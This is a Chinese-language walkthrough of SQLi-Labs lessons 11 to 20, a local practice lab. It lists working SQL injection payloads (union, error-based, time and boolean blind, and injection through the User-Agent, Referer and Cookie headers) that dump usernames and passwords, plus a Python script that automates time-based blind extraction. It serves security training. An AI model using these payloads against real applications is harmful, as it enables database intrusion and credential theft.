提供主要的语句,略去探测数据库名,表名,字段名的步骤。
11.Less11
请求方式 | 注入方式 | 类型 | 备注 |
POST | 基于报错注入(Union内联注入) | 字符型 | 单引号闭合 |
1. 正常提交
uname=1&passwd=2
2. 语句报错
uname=1'&passwd=2
uname=1'3&passwd=2
uname=1'3"&passwd=2
3. 执行注入的SQL
uname=1' or 1 %23&passwd=2
uname=1' or 1 order by 2 %23&passwd=2
uname=1' or 1 order by 3 %23&passwd=2
uname=1' and 0 union select 1,2 %23&passwd=2
4. 数据获取
uname=1' and 0 union select 1,group_concat(0x7e,username, password) from users %23&passwd=2
12.Less12
请求方式 | 注入方式 | 类型 | 备注 |
POST | 基于报错注入(Union内联注入) | 字符型 | 双引号、括号闭合 |
1. 正常提交
uname=1&passwd=2
2. 语句报错
uname=1"&passwd=2
uname=1"3&passwd=2
3. 执行注入的SQL
uname=1") or 1 %23&passwd=2
4. 数据获取
后面语句同Less11,将单引号闭合,换位双引号+括号闭合。
uname=1") and 0 union select 1,group_concat(0x7e,username, password) from users %23&passwd=2
13.Less13
请求方式 | 注入方式 | 类型 | 备注 |
POST | 双注入 | 字符型 | 单引号、括号闭合 |
1. 正常提交
uname=1&passwd=2
2. 语句报错
uname=1'&passwd=2
uname=1'3&passwd=2
3. 执行注入的SQL
uname=1') or 1 %23 &passwd=2
uname=1') or 1 order by 2 %23 &passwd=2
uname=1') or 1 order by 3 %23 &passwd=2
uname=1') and 0 union select 1,2 %23 &passwd=2
4. 数据获取
uname=1') and 0 union select 1, count(*) from information_schema.tables group by concat(floor(rand(0)*2), 0x7e, (select @@version) ) %23 &passwd=2
uname=1') and 0 union select 1, count(*) from information_schema.tables group by concat(floor(rand(0)*2), 0x7e, (select concat_ws(0x7e,username,password) from (select * from users limit 0,1)x) ) %23 &passwd=2
14.Less14
请求方式 | 注入方式 | 类型 | 备注 |
POST | 双注入 | 字符型 | 双引号闭合 |
1. 正常提交
uname=1&passwd=2
2. 语句报错
uname=1&passwd=2"
3. 执行注入的SQL
uname=1&passwd=2" or 1 %23
uname=1&passwd=2" or 1 order by 2 %23
uname=1&passwd=2" or 1 order by 3 %23
uname=1&passwd=2" or 1 union select 1,2 %23
4. 数据获取
uname=1&passwd=2" or 1 union select 1, count(*) from information_schema.tables group by concat( floor(rand(0)*2), 0x7e, ( select version() ) ) %23
uname=1&passwd=2" or 1 union select 1, count(*) from information_schema.tables group by concat( floor(rand(0)*2), 0x7e, ( select table_name from information_schema.tables where table_schema = database() limit 0,1 ) ) %23
15.Less15
请求方式 | 注入方式 | 类型 | 备注 |
POST | 时间盲注 | 字符型 | 单引号闭合 |
1. 正常提交
uname=1&passwd=2
2. 执行注入的SQL
uname=1' or sleep(0.2) %23&passwd=2
uname=1' or if(1,sleep(0.2),1) %23&passwd=2
uname=1' or if(0,sleep(0.2),1) %23&passwd=2
3. 数据获取
以爆破数据库版本名为例,测试时间盲注语句是否执行。
uname=1' or if( (select ascii(substr( (select @@version) ,1,1))) >0 ,sleep(0.2),1) %23&passwd=2
uname=1' or if( (select ascii(substr( (select @@version) ,1,1))) >100 ,sleep(0.2),1) %23&passwd=2
可以成功执行,我们使用代码爆破(代码见SqliLabs Less1-Less10),在源代码稍作修改为POST请求。
import requests
import time
import _thread
import threading
# 盲注爆破
charList = []
info = {}
urlTemplate = "http://127.0.0.1:8003/Less-15/"
postData = {
'uname': "1' or if( (select ascii(substr( (select @@version) ,{},1))) ={} ,sleep(0.2),1) #",
'passwd': "2"
}
lock = threading.Lock()
allNumber = 8
runing = 0
def loadDict(file):
global charList
with open(file, 'r', encoding='utf-8') as f:
charList += f.read().split('\n')
print('Dict Loaded')
print(len(charList))
def req(name, n):
global version, allNumber, runing
for i in range(n, n + 1, 1):
for j in range(0, len(charList)):
url = urlTemplate
pd = postData.copy()
pd['uname'] = pd['uname'].format(str(i), charList[j])
print('.', end='')
time_start = time.time()
r = requests.post(url=url, data=pd)
time_end = time.time()
timeReal = time_end - time_start
if timeReal > 4:
lock.acquire()
info[i] = chr(int(charList[j]))
runing -= 1
lock.release()
print('{}:Find [{}] [{}/{}]'.format(name, chr(int(charList[j])), str(runing), str(allNumber)))
break
def conv(info={}):
res = []
info = sorted(info.items(), key=lambda x: x[0], reverse=False)
for i in info:
res.append(i[1])
return ''.join(res)
def main():
global runing
loadDict('../../字典/ascii_dict/ascii_数字+符号.txt')
time_start = time.time()
try:
for i in range(1, allNumber + 1, 1):
th = threading.Thread(target=req, args=('T-{}'.format(str(i)), i))
runing += 1
th.start()
except:
print('线程启动异常')
while threading.activeCount() != 1:
pass
time_end = time.time()
print('\nresult:')
print(conv(info))
print('time:' + str(int((time_end - time_start) / 60)) + 'm')
if __name__ == '__main__':
main()
得到结果:
爆破数据库数据同理。
16.Less16
请求方式 | 注入方式 | 类型 | 备注 |
POST | 布尔注入 | 字符型 | 双引号、括号闭合 |
1. 正常提交
uname=1&passwd=2
2. 执行注入的SQL
uname=1&passwd=2' or 1 #
uname=1&passwd=2" or 1 #
uname=1&passwd=2') or 1 #
uname=1&passwd=2") or 1 #
只有passwd=2")可以成功执行,可以判断为双引号、括号闭合。
uname=1&passwd=2") or if(1,1,0) #
uname=1&passwd=2") or if(0,1,0) #
3. 数据获取
以获取数据库版本为例。
uname=1&passwd=2") or if( (select ascii(substr( (select @@version) ,1,1))) >0 ,1,0) #
uname=1&passwd=2") or if( (select ascii(substr( (select @@version) ,1,1))) >100 ,1,0) #
使用BurpSuite进行爆破。
对结果进行处理,即可得到版本号。
17.Less17
请求方式 | 注入方式 | 类型 | 备注 |
POST | 基于报错注入(updatexml函数) | 字符型 | update语句注入 |
假定我们提前取得了某个用户名:dumb。
1. 正常提交
uname=dumb&passwd=1
2. 语句报错
uname=dumb&passwd=1'2"
3. 执行注入的SQL
uname=dumb&passwd=1' or 1 or '
uname=dumb&passwd=1' or (select 1) or '
4. 数据获取
uname=dumb&passwd=1' or (select updatexml(1, concat(0x7e, (select @@version)) ,1)) or '
uname=dumb&passwd=1' or (select updatexml(1, concat(0x7e, (select concat(username, 0x7e, password) from (select * from users limit 0,1)x)) ,1)) or '
18.Less18
请求方式 | 注入方式 | 类型 | 备注 |
POST | 报错注入(updatexml函数) | 字符型 | UA注入点,单引号闭合 |
已经提前取得一个用户信息,用户名dumb,密码2。
并且之后的操作都是用BurpSuite的重发器测试。
1. 正常提交
PostData:
uname=dumb&passwd=2
UA:
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
2. 语句报错
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.01'2"
可以判断是单引号闭合,并且这可能是insert或update语句,我们闭合前后引号,使用or连接报错函数进行报错。
3. 执行注入的SQL
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 ' or updatexml(1,1,1) or '1
没有报错,成功执行。
4. 数据获取
以获取数据库版本为例。
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 ' or updatexml(1,concat(0x7e, (select @@version)),1) or '1
查询数据库数据。
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 ' or updatexml(1,concat(0x7e, (select concat_ws(0x7e,username,password) from (select * from users limit 0,1)x )),1) or '1
19.Less19
请求方式 | 注入方式 | 类型 | 备注 |
POST | 基于报错注入(双注入函数) | 字符型 | Referer注入点,单引号闭合 |
已经提前取得一个用户信息,用户名dumb,密码2。
并且之后的操作都是用BurpSuite的重发器测试。
1. 正常提交
PostData:
uname=dumb&passwd=2
Referer:
http://127.0.0.1:8003/Less-19/
2. 语句报错
Referer: http://127.0.0.1:8003/Less-19/1'2"3
3. 执行注入的SQL
Referer: http://127.0.0.1:8003/Less-19/ ' or 1 or '1
Referer: http://127.0.0.1:8003/Less-19/ ' or updatexml(1, 1 ,1) or '1
4. 数据获取
Referer: http://127.0.0.1:8003/Less-19/ ' or updatexml(1, concat(0x7e, (select @@version)) ,1) or '1
其他语句同理,在修改 select @@version即可。
20.Less20
请求方式 | 注入方式 | 类型 | 备注 |
POST | 基于报错注入(Union内联注入) | 字符型 | Cookie注入点,单引号闭合 |
已经提前取得一个用户信息,用户名dumb,密码2。
并且之后的操作都是用BurpSuite的重发器测试。
1. 正常提交
首先正常登陆上去。
2. 语句报错
Cookie: uname=Dumb1'2"3
3. 执行注入的SQL
Cookie: uname=Dumb ' or 1 --+
Cookie: uname=Dumb ' order by 3 --+
Cookie: uname=Dumb ' order by 4 --+
Cookie: uname=Dumb ' and 0 union select 111,222,333 --+
4. 数据获取
Cookie: uname=Dumb ' and 0 union select 111,222,@@version --+
Cookie: uname=Dumb ' and 0 union select 111,222,group_concat(username, ':', password) from users --+